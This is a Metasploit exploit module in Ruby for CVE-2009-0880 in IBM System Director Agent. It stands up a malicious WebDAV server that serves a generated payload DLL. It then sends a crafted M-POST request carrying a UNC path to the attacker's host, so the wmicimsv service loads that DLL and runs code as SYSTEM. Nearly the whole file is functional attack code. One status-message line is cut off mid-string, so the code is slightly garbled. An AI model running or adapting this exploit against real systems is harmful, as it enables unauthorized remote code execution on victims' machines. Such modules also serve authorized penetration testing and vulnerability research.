require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
def initialize
super(
'Name'=> 'IBM System Director Agent DLL Injection',
'Description' => %q{
This module abuses the "wmicimsv" service on IBM System Director Agent 5.20.3
to accomplish arbitrary DLL injection and execute arbitrary code with SYSTEM
privileges.
In order to accomplish remote DLL injection it uses a WebDAV service as disclosed
by kingcope on December 2012. Because of this, the target host must have the
WebClient service (WebDAV Mini-Redirector) enabled. It is enabled and automatically
started by default on Windows XP SP3, but disabled by default on Windows 2003 SP2.
},
'Author'=> [
'Bernhard Mueller',
'kingcope',
'juan vazquez'
],
'Platform'=> 'win',
'References'=>
[
[ 'CVE', '2009-0880'],
[ 'OSVDB', '52616'],
[ 'OSVDB', '88102'],
[ 'BID', '34065' ],
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20090305-2_IBM_director_privilege_escalation.txt' ],
[ 'URL', 'http://seclists.org/bugtraq/2012/Dec/5' ]
],
'Targets' =>
[
[ 'IBM System Director Agent 5.20.3 / Windows with WebClient enabled', { } ]
],
'DefaultTarget'=> 0,
'Privileged' => true,
'DisclosureDate' => 'Mar 10 2009'
)
register_options(
[
Opt::RPORT(6988),
OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]),
OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ])
], self.class)
end
def auto_target(cli, request)
agent = request.headers['User-Agent']
ret = nil
if agent =~ /(Windows NT 5\.1|MiniRedir\/5\.1)/
ret = targets[0]
elsif agent =~ /(Windows NT 5\.2|MiniRedir\/5\.2)/
ret = targets[0]
else
print_error("Unknown User-Agent: #{agent}")
end
ret
end
def on_request_uri(cli, request)
mytarget = target
if target.name == 'Automatic'
mytarget = auto_target(cli, request)
if (not mytarget)
send_not_found(cli)
return
end
end
if (request.uri == '/') or not (request.uri =~ /\/[^\/]+\//)
if (request.uri == '/')
subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
else
subdir = request.uri + '/'
end
print_status("Request for \"
send_redirect(cli, subdir)
return
end
case request.method
when 'OPTIONS'
process_options(cli, request, mytarget)
when 'PROPFIND'
process_propfind(cli, request, mytarget)
when 'GET'
process_get(cli, request, mytarget)
when 'PUT'
print_status("Sending 404 for PUT #{request.uri} ...")
send_not_found(cli)
else
print_error("Unexpected request method encountered: #{request.method}")
end
end
def process_get(cli, request, target)
print_status("Responding to GET request #{request.uri}")
if (request.uri =~ /\.dll$/i)
print_status("Sending DLL")
return if ((p = regenerate_payload(cli)) == nil)
dll_payload = generate_payload_dll
send_response(cli, dll_payload, { 'Content-Type' => 'application/octet-stream' })
else
send_not_found(cli)
end
end
def process_options(cli, request, target)
print_status("Responding to WebDAV OPTIONS request")
headers = {
'Allow'=> 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV PROPFIND request")
body = ''
if (path =~ /\.dll$/i)
print_status("Sending DLL multistatus for #{path} ...")
body = %Q|<?xml version="1.0"?>
<a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:">
<a:response>
</a:response>
</a:multistatus>
|
elsif (path =~ /\.manifest$/i) or (path =~ /\.config$/i) or (path =~ /\.exe/i) or (path =~ /\.dll/i)
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
def xml_data
xml = <<-eos
<?xml version="1.0" encoding="utf-8" ?>
<CIM CIMVERSION="2.0" DTDVERSION="2.0">
<MESSAGE ID="1007" PROTOCOLVERSION="1.0">
<SIMPLEEXPREQ>
<EXPMETHODCALL NAME="ExportIndication">
<EXPPARAMVALUE NAME="NewIndication">
<INSTANCE CLASSNAME="CIM_AlertIndication" >
<PROPERTY NAME="Description" TYPE="string">
<VALUE>Sample CIM_AlertIndication indication</VALUE>
</PROPERTY>
<PROPERTY NAME="AlertType" TYPE="uint16">
<VALUE>1</VALUE>
</PROPERTY>
<PROPERTY NAME="PerceivedSeverity" TYPE="uint16">
<VALUE>3</VALUE>
</PROPERTY>
<PROPERTY NAME="ProbableCause" TYPE="uint16">
<VALUE>2</VALUE>
</PROPERTY>
<PROPERTY NAME="IndicationTime" TYPE="datetime">
<VALUE>20010515104354.000000:000</VALUE>
</PROPERTY>
</INSTANCE>
</EXPPARAMVALUE>
</EXPMETHODCALL>
</SIMPLEEXPREQ>
</MESSAGE>
</CIM>
eos
return xml
end
def check
peer = "#{rhost}:#{rport}"
print_status("#{peer} - Checking if CIMListener exists...")
res = send_request_cgi({
'uri'=> "/CIMListener/",
'method' => 'M-POST',
'ctype'=> 'application/xml; charset=utf-8',
'headers' => {
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
"CIMOperation" => "MethodCall",
"CIMExport" => "MethodRequest",
"CIMExportMethod" => "ExportIndication"
},
'data' => xml_data,
}, 1)
if res and res.code == 200 and res.body =~ /CIMVERSION/
return CheckCode::Appears
end
return CheckCode::Safe
end
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
end
super
end
def primer
basename = rand_text_alpha(3)
share_name = rand_text_alpha(3)
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
exploit_unc= "\\\\#{myhost}\\"
vprint_status("Payload available at #{exploit_unc}#{share_name}\\#{basename}.dll")
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Injecting DLL...")
res = send_request_cgi({
'uri'=> "/CIMListener/#{exploit_unc}#{share_name}\\#{basename}.dll",
'method' => 'M-POST',
'ctype'=> 'application/xml; charset=utf-8',
'headers'=> {
"Man" => "http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40",
"CIMOperation"=> "MethodCall",
"CIMExport" => "MethodRequest",
"CIMExportMethod" => "ExportIndication"
},
'data' => xml_data,
})
if res and res.code == 200 and res.body =~ /CIMVERSION/
print_status"#{@peer} - Then injection seemed to work..."
else
fail_with(Exploit::Failure::Unknown, "#{@peer} - Unexpected response")
end
end
end